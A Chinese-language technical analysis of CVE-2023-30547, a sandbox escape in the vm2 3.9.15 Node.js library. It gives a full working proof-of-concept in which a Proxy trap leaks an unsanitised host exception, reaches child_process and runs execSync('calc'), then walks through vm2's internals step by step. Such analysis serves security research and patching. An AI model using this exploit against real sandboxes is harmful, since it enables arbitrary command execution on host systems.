home HOME PAGE

CVE-2023-30547

环境

node.js: v16.13.2
vm2: vm2@3.9.15
通过以下命令安装带有漏洞的vm2包:

npm install vm2@3.9.15

安装后会有警告,不用管它,这不会影响vm2@3.9.15的安装,如果想要修复这个漏洞,执行npm audit fix即可,npm audit查看漏洞详情:
输入图片说明

POC

const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
	getPrototypeOf(target) {
		(function stack() {
			new Error().stack;
			stack();
		})();
	}
};
const proxiedErr = new Proxy(err, handler);
try {
	throw proxiedErr;
} catch ({constructor: c}) {
	c.constructor('return process')()
	.mainModule
	.require('child_process')
	.execSync('calc');
}
`
vm.run(code);

分析

首先该POC会创建vm对象,并将字符串中的源码在沙箱中执行,要注意的是在要执行的源码中,存在以下部分:

function stack() {
	new Error().stack;
	stack();
}

当执行到这部分代码时会因为无条件的无限递归而抛出异常,当然这个POC并不会一开始就去执行这部分。
当开始执行这段POC时会先定义一个空对象err和handle对象。

err = {};
const handler = {
	getPrototypeOf(target) {
		(function stack() {
			new Error().stack;
			stack();
		})();
	}
};

之后再用handle作为err对象的代理处理器去创建一个代理对象proxiedErr。

const proxiedErr = new Proxy(err, handler);

而代理处理器handle中定义了一个getPrototypeOf方法,在此方法中定义并同时调用一开始提到的那个会无线递归的函数:

const handler = {
	getPrototypeOf(target) {
		(function stack() {
			new Error().stack;
			stack();
		})();
	}
};

之后会在try中手动抛出异常,并将代理对象proxiedErr作为错误对象传给catch进行处理,随后通过c泄露process对象,通过process对象来获取得到child_process对象并通过child_process对象来创建进程:

try {
	throw proxiedErr;
} catch ({constructor: c}) {
	c.constructor('return process')()
	.mainModule
	.require('child_process')
	.execSync('calc');
}

从vm2源码的角度来看,当执行vm.run时,vm.run会调用transformer函数,transformer函数会将源码转换为相应的node,随后再根据这些node组成抽象语法树(AST),当在处理到Catch闭包并且参数对象为ObjectPattern时将会在原本代码的基础上插入新的代码内容。
输入图片说明
输入图片说明
transformer之前的catch:

try {
	throw proxiedErr;
} catch ({constructor: c}) {
	c.constructor('return process')()
	.mainModule
	.require('child_process')
	.execSync('calc');
}

transformer之后的catch:

try {
	throw proxiedErr;
} catch(VM2_INTERNAL_TMPNAME){
	try{
		throw VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.handleException(VM2_INTERNAL_TMPNAME);
	}catch ({constructor: c}) {
		c.constructor('return process')()
		.mainModule
		.require('child_process')
		.execSync('calc');
	}
}

其中VM2_INTERNAL_TMPNAME为代理对象proxiedErr。
输入图片说明
VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL是为了调用handleException以此来将异常对象交给沙箱净化异常对象防止主机对象被泄露到catch中,handleException实际是thisEnsureThis函数的别名,当调用handleException时实际上调用的是thisEnsureThis函数。
输入图片说明
当执行thisEnsureThis函数时会先获取传入的other的类型,再根据其类型进入相应的分支,此处的代理对象类型为objectobject分支执行完成后由于不会break所有就会顺序执行到function分支内,此分支会先通过调用thisReflectGetPrototypeOf函数来获取对象原型:
输入图片说明
而此时getPrototypeOf已经被代理处理器代理,所以此时会进入handle中定义的getPrototypeOf函数,而该函数内部又会抛出未经过净化处理的异常,此异常被之后的catch所捕获,所以导致主机异常被泄露最终导致沙箱逃逸。
输入图片说明
最后通过异常对象来返回一个process全局对象并通过该对象引入child_process模块,最后通过child_process模块来创建子进程
输入图片说明